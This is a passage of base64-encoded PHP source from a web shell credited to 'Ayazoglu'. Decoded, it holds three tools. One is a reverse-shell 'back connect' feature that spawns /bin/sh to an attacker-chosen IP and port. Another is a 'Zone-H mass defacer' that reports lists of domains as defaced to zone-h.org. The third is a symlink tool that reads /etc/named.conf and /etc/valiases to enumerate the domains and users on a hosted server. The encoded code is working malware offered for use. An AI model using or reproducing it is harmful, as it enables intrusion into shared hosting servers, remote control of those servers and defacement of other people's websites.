HVlPSc+Pic+PC9mb3JtPiI7DQogZWNobyAiPGJyPjxmb3JtICBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdwaHAnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlBIUCBCQUNLIENPTk5FQ1Q8L3NwYW4+PGJyPklQOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzQ0Myc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L2NlbnRlcj4iOw0KIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGJhY2tfY29ubmVjdF9wKTsNCgkJCSRvdXQgPSBtYWRFeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+U3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICIuJF9QT1NUWydwMiddLiI6Ii4kX1BPU1RbJ3AzJ10uIjxicj5Db25uZWN0aW5nLi4uPC9wcmU+IjsNCiAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMucGwiKTsNCgkJfQ0KICAgICAgICBpZigkX1BPU1RbJ3AxJ109PSdwaHAnKQ0KIHsNCiAgICAgICAgICAgIA0KQHNldF90aW1lX2xpbWl0ICgwKTsNCiRpcCA9ICRfUE9TVFsncDInXTsgDQokcG9ydCA9JF9QT1NUWydwMyddOyAgICAgDQokY2h1bmtfc2l6ZSA9IDE0MDA7DQokd3JpdGVfYSA9IG51bGw7DQokZXJyb3JfYSA9IG51bGw7DQokc2hlbGwgPSAndW5hbWUgLWE7IHc7IGlkOyAvYmluL3NoIC1pJzsNCiRkYWVtb24gPSAwOw0KJGRlYnVnID0gMDsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsNCg0KaWYgKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7DQoJDQoJJHBpZCA9IHBjbnRsX2ZvcmsoKTsNCgkNCglpZiAoJHBpZCA9PSAtMSkgew0KCQllY2hvICJDYW50IGZvcmshPGJyPiI7DQoJCWV4aXQoMSk7DQoJfQ0KCQ0KCWlmICgkcGlkKSB7DQoJCWV4aXQoMCk7ICANCgl9DQoNCglpZiAocG9zaXhfc2V0c2lkKCkgPT0gLTEpIHsNCgkJZWNobyAiRXJyb3I6IENhbid0IHNldHNpZCgpPGJyPiI7DQoJCWV4aXQoMSk7DQoJfQ0KDQoJJGRhZW1vbiA9IDE7DQp9IGVsc2Ugew0KCWVjaG8gIldBUk5JTkc6IEZhaWxlZCB0byBkYWVtb25pc2UuICBUaGlzIGlzIHF1aXRlIGNvbW1vbiBhbmQgbm90IGZhdGFsPGJyPiI7DQp9DQoNCmNoZGlyKCIvIik7DQoNCnVtYXNrKDApOw0KDQokc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0LCAkZXJybm8sICRlcnJzdHIsIDMwKTsNCmlmICghJHNvY2spIHsNCgllY2hvICIkZXJyc3RyICgkZXJybm8pIjsNCglleGl0KDEpOw0KfQ0KDQoNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KICAgMCA9PiBhcnJheSgicGlwZSIsICJyIiksICANCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgDQogICAyID0+IGFycmF5KCJwaXBlIiwgInciKSAgIA0KKTsNCg0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQoNCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7DQoJZWNobyAiRVJST1I6IENhbid0IHNwYXduIHNoZWxsPGJyPiI7DQoJZXhpdCgxKTsNCn0NCg0KDQpAc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0KQHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsNCkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7DQpAc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQoNCmVjaG8gIlN1Y2Nlc3NmdWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAkaXA6JHBvcnQ8YnI+IjsNCg0Kd2hpbGUgKDEpIHsNCglpZiAoZmVvZigkc29jaykpIHsNCgkJZWNobyAiRVJST1I6IFNoZWxsIGNvbm5lY3Rpb24gdGVybWluYXRlZDxicj4iOw0KCQlicmVhazsNCgl9DQoNCglpZiAoZmVvZigkcGlwZXNbMV0pKSB7DQoJCWVjaG8gIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQ8YnI+IjsNCgkJYnJlYWs7DQoJfQ0KDQoJDQoJJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7DQoJJG51bV9jaGFuZ2VkX3NvY2tldHM9QHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCg0KCWlmIChpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpIHsNCgkJaWYgKCRkZWJ1ZykgZWNobyAiU09DSyBSRUFEPGJyPiI7DQoJCSRpbnB1dD1mcmVhZCgkc29jaywgJGNodW5rX3NpemUpOw0KCQlpZiAoJGRlYnVnKSBlY2hvICJTT0NLOiAkaW5wdXQ8YnI+IjsNCgkJZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsNCgl9DQoNCglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVhZF9hKSkgew0KCQlpZiAoJGRlYnVnKSBlY2hvICJTVERPVVQgUkVBRDxicj4iOw0KCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsNCgkJaWYgKCRkZWJ1ZykgZWNobyAiU1RET1VUOiAkaW5wdXQ8YnI+IjsNCgkJZndyaXRlKCRzb2NrLCAkaW5wdXQpOw0KCX0NCg0KCQ0KCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7DQoJCWlmICgkZGVidWcpIGVjaG8gIlNUREVSUiBSRUFEPGJyPiI7DQoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOw0KCQlpZiAoJGRlYnVnKSBlY2hvICJTVERFUlI6ICRpbnB1dDxicj4iOw0KCQlmd3JpdGUoJHNvY2ssICRpbnB1dCk7DQoJfQ0KfQ0KDQpmY2xvc2UoJHNvY2spOw0KZmNsb3NlKCRwaXBlc1swXSk7DQpmY2xvc2UoJHBpcGVzWzFdKTsNCmZjbG9zZSgkcGlwZXNbMl0pOw0KcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQoNCmVjaG8gIjwvcHJlPiI7DQp9DQoNCn0gICANCiBlY2hvICI8L2Rpdj4iOw0KIG1hZGZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gWm9uZUgoJHVybCwgJGhhY2tlciwgJGhhY2ttb2RlLCRyZXNvbiwgJHNpdGUgKQ0Kew0KCSRrID0gY3VybF9pbml0KCk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfVVJMLCAkdXJsKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX1BPU1QsdHJ1ZSk7DQoJY3VybF9zZXRvcHQoJGssIENVUkxPUFRfUE9TVEZJRUxEUywiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlLiImaGFja21vZGU9Ii4kaGFja21vZGUuIiZyZWFzb249Ii4kcmVzb24pOw0KCWN1cmxfc2V0b3B0KCRrLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkka3VicmEgPSBjdXJsX2V4ZWMoJGspOw0KCWN1cmxfY2xvc2UoJGspOw0KCXJldHVybiAka3VicmE7DQp9DQpmdW5jdGlvbiBtYWR6b25laCgpDQp7DQogICAgbWFkaGVhZCgpOw0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZm9udD48L2NlbnRlcj48L3ByZT4iOw0KICAgIH0NCiAgICBlY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj4iOw0KICAgIGVjaG8gJzxoMz48c3Bhbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcGFuPjwvaDM+DQogICAgPGZvcm0gIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLmRlZmFjZXIudmFsdWUsdGhpcy5oYWNrbW9kZS52YWx1ZSx0aGlzLmRvbWFpbi52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgPg0KICAgIDxzcGFuPnwgTm90aWZpZXIgfDwvc3Bhbj48YnI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT1kZWZhY2VyIHNpemU9IjQwIiB2YWx1ZT0iQXR0YWNrZXIiIC8+PGJyPg0KPHNlbGVjdCBuYW1lPWhhY2ttb2RlPg0KPG9wdGlvbiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMSI+a25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMiIgPnVuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHk8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiID5jb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2U8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjQiID5icnV0ZSBmb3JjZSBhdHRhY2s8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiID5zb2NpYWwgZW5naW5lZXJpbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjYiID5XZWIgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNyIgPldlYiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOCIgPk1haWwgU2VydmVyIGludHJ1c2lvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iOSIgPkZUUCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMCIgPlNTSCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMSIgPlRlbG5ldCBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMiIgPlJQQyBTZXJ2ZXIgaW50cnVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxMyIgPlNoYXJlcyBtaXNjb25maWd1cmF0aW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNCIgPk90aGVyIFNlcnZlciBpbnRydXNpb248L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE1IiA+U1FMIEluamVjdGlvbjwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMTYiID5VUkwgUG9pc29uaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxNyIgPkZpbGUgSW5jbHVzaW9uPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxOCIgPk90aGVyIFdlYiBBcHBsaWNhdGlvbiBidWc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjE5IiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjIwIiA+UmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBwYXNzd29yZCBndWVzc2luZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjEiID5SZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjIiID5BdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjMiID5BY2Nlc3MgY3JlZGVudGlhbHMgdGhyb3VnaCBNYW4gSW4gdGhlIE1pZGRsZSBhdHRhY2s8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI0IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgZ3Vlc3Npbmc8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI1IiA+UmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjYiID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBGaXJld2FsbDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjciID5SZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBSb3V0ZXI8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjI4IiA+RE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMjkiID5ETlMgYXR0YWNrIHRocm91Z2ggY2FjaGUgcG9pc29uaW5nPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIzMCIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjwvc2VsZWN0Pjxicj4NCjxzZWxlY3QgID4NCjxvcHRpb24gPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjEiID5IZWguLi5qdXN0IGZvciBmdW4hPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIiA+UmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCByZWFzb25zPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0IiA+QXMgYSBjaGFsbGVuZ2U8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiID5JIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iNyIgPk5vdCBhdmFpbGFibGU8L29wdGlvbj4NCjwvc2VsZWN0Pjxicj4NCjx0ZXh0YXJlYSBuYW1lPWRvbWFpbiBjb2xzPSI1MCIgcm93cz0iMTUiPkxpc3QgT2YgRG9tYWluczwvdGV4dGFyZWE+DQo8YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPj4iIC8+PC9mb3JtPic7DQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmIGlzc2V0KCRfUE9TVFsncDInXSkpDQp7DQogICAgJGhhY2tlciA9JF9QT1NUWydwMSddOw0KICAgICRtZXRob2QgPSRfUE9TVFsncDInXTsNCiAgICAkbmVkZW4gPSJOb3QgYXZhaWxhYmxlIjsNCiAgICAkc2l0ZSA9JF9QT1NUWydwMyddOw0KICAgJGkgPSAwOw0KICAgJHNpdGVzID0gZXhwbG9kZSgiXG4iLCAkc2l0ZSk7DQogICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7DQoJd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKSANCgl7DQoJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgDQoJew0KCQkJJHNpdGVzWyRpXSA9ICJodHRwOi8vIi4kc2l0ZXNbJGldOw0KCX0NCglab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNrZXIsICRtZXRob2QsICRuZWRlbiwgJHNpdGVzWyRpXSk7DQoJZWNobyAiU2l0ZSA6ICIuJHNpdGVzWyRpXS4iIERlZmFjZWQgITxicj4iOw0KCSsrJGk7DQoJfQ0KICAgICANCiAgICAiU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISA8L3ByZT4iOw0KfQ0KZWNobyAiPC9kaXY+IjsNCm1hZGZvb3RlcigpOw0KICAgIA0KfQ0KZnVuY3Rpb24gbWFkc3BvdCgpDQp7DQogICAgbWFkaGVhZCgpOw0KICAgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7DQogICAgZWNobyAiPHByZT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIENvZGVkIEJ5OiBBeWF6b2dsdSAgICAgICAgICAgICAgICBgYGAtLS0uLl8gICAgICAgICAgICAgICAgICAgICAgIA0KICAgIFwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIA0KICApYC5cICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApYC4gICApaGgNCi0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYC0nICAgYA0KICAgQXlhem9nbHUgaXMgYSBUZWFtIG9mIHByb2Zlc3Npb25hbCBFdGhpY2FsIEhhY2tlcnMgRnJvbSBUdXJrZXkuDQogICBXZSBoYXZlIFllYXJzIG9mICBFeHBlcmllbmNlIGluICBTZWN1cml0eSwgUGVuZXRyYXRpb24gJiBDb2RpbmcgDQogICBBbmQgY2FuIEJyZWFrIGFuZCBTZWN1cmUuDQogICANCiAgIFZlcnNpb24gMS4wDQogICANCiAgIENvbnRhY3QgOiBodHRwOi8vd3d3LmF5YXpvZ2x1Lm9yZw0KICAgDQogICBpZiB5b3UgZm91bmQgYnVnIGNvbnRhY3Qgb3VyIHRlYW0gDQogICANCiAgIA0KDQoNCiAgICAgICAgICAgICAgLj0nJz0uICAgICAgICAgICAgIA0KICAgICAgICAgICAgIC8gXyAgXyBcDQogICAgICAgICAgICB8ICBkICBiICB8DQogICAgICAgICAgICBcICAgL1wgICAvIA0KICAgICAgICAgICAsLyctPVwvPS0nXCwNCiAgICAgICAgICAvIC8gICAgICAgIFwgXCAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAgICAgICAgIHwgLyBBeWF6b2dsdSAgIFwgfCAgICBBeWF6b2dsdSBEaWdpdGFsIFNlY3VyaXR5IFRlYW0NCiAgICAgICAgIFwvIFwgICAgICAgICAvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIG8pIChvICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBNYXJpbyAgICAgICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBBdGVzcyAgIFwgICAvIE0tVXNtYW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgICAgICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyYXNpYWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcmU+PC9kaXY+IjsNCiAgICBtYWRmb290ZXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmdW5jdGlvbiBtYWRzeW1saW5rKCkNCnsNCiAgICBtYWRoZWFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJMT1leHBsb2RlKCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcmVwbGFjZSgkSUlJSUlJSUlJSUkxW2NvdW50KCRJSUlJSUlJSUlJSTEpLTFdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48c2NyaXB0PnAxXz1wMl89cDNfPSIiOzwvc2NyaXB0Pjxicj48Y2VudGVyPjxoMz48YSBocmVmPSMgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj58IERvbWFpbnMgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLFwnd2hvbGVcJykiPnwgV2hvbGUgU2VydmVyIFN5bWxpbmsgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdzeW1saW5rXCcsbnVsbCxudWxsLG51bGwsXCdjb25maWdcJykiPnwgQ29uZmlnIFBIUCBzeW1saW5rIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsNCiAgICANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQ0KICAgIHsNCiAgICAgICAgZWNobyAiPGNlbnRlcj4iOw0KICAgICAgICAkZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiAgICAgICAgaWYoISRkMG1haW5zKXsgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz5DYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOyB9DQoNCiANCg0KZWNobyAiPHRhYmxlIGFsaWduPWNlbnRlciBjbGFzcz0nbWFpbicgIGJvcmRlcj0wICA+DQoNCjx0ciBiZ2NvbG9yPVJlZD48dGQ+Q291bnQ8L3RkPjx0ZD5kb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+IjsNCiRjb3VudD0xOw0KDQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KDQppZihAZXJlZ2koInpvbmUiLCRkMG1haW4pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7DQoNCmZsdXNoKCk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXsNCg0KJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbnNbMV1bMF0pKTsNCg0KZWNobyAiPHRyPjx0ZD4iLiRjb3VudC4iPC90ZD48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48dGQ+PC90cj4iOyBmbHVzaCgpOw0KJGNvdW50Kys7DQp9fX0NCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgDQogfQ0KIA0KIGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgJF9QT1NUWydwMiddPT0nd2hvbGUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgDQogICAgZWNobyAiPGNlbnRlcj4iOw0KICAgIC8vUGFnZXJhbmsNCg0KZnVuY3Rpb24gU3RyVG9OdW0oJFN0ciwgJENoZWNrLCAkTWFnaWMpIA0KeyANCiAgICAkSW50MzJVbml0ID0gNDI5NDk2NzI5NjsgIC8vIDJeMzIgDQoNCiAgICAkbGVuZ3RoID0gc3RybGVuKCRTdHIpOyANCiAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7IA0KICAgICAgICAkQ2hlY2sgKj0gJE1hZ2ljOyAgICAgIA0KICAgICAgICAvL0lmIHRoZSBmbG9hdCBpcyBiZXlvbmQgdGhlIGJvdW5kYXJpZXMgb2YgaW50ZWdlciAodXN1YWxseSArLy0gMi4xNWUrOSA9IDJeMzEpLCANCiAgICAgICAgLy8gIHRoZSByZXN1bHQgb2YgY29udmVydGluZyB0byBpbnRlZ2VyIGlzIHVuZGVmaW5lZCANCiAgICAgICAgLy8gIHJlZmVyIHRvIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vbGFuZ3VhZ2UudHlwZXMuaW50ZWdlci5waHAgDQogICAgICAgIGlmICgkQ2hlY2sgPj0gJEludDMyVW5pdCkgeyANCiAgICAgICAgICAgICRDaGVjayA9ICgkQ2hlY2sgLSAkSW50MzJVbml0ICogKGludCkgKCRDaGVjayAvICRJbnQzMlVuaXQpKTsgDQogICAgICAgICAgICAvL2lmIHRoZSBjaGVjayBsZXNzIHRoYW4gLTJeMzEgDQogICAgICAgICAgICAkQ2hlY2sgPSAoJENoZWNrIDwgLTIxNDc0ODM2NDgpID8gKCRDaGVjayArICRJbnQzMlVuaXQpIDogJENoZWNrOyANCiAgICAgICAgfSANCiAgICAgICAgJENoZWNrICs9IG9yZCgkU3RyeyRpfSk7IA0KICAgIH0gDQogICAgcmV0dXJuICRDaGVjazsgDQp9IA0KDQovLy0tPiBmb3IgZ29vZ2xlIHBhZ2VyYW5rIA0KLyogDQoqIEdlbmVhcmF0ZSBhIGhhc2ggZm9yIGEgdXJsIA0KKi8gDQpmdW5jdGlvbiBIYXNoVVJMKCRTdHJpbmcpIA0KeyANCiAgICAkQ2hlY2sxID0gU3RyVG9OdW0oJFN0cmluZywgMHgxNTA1LCAweDIxKTsgDQogICAgJENoZWNrMiA9IFN0clRvTnVtKCRTdHJpbmcsIDAsIDB4MTAwM0YpOyANCg0KICAgICRDaGVjazEgPj49IDI7ICAgICAgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0ZGRkZDMCApIHwgKCRDaGVjazEgJiAweDNGKTsgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0ZGQzAwICkgfCAoJENoZWNrMSAmIDB4M0ZGKTsgDQogICAgJENoZWNrMSA9ICgoJENoZWNrMSA+PiA0KSAmIDB4M0MwMDAgKSB8ICgkQ2hlY2sxICYgMHgzRkZGKTsgICAgDQogI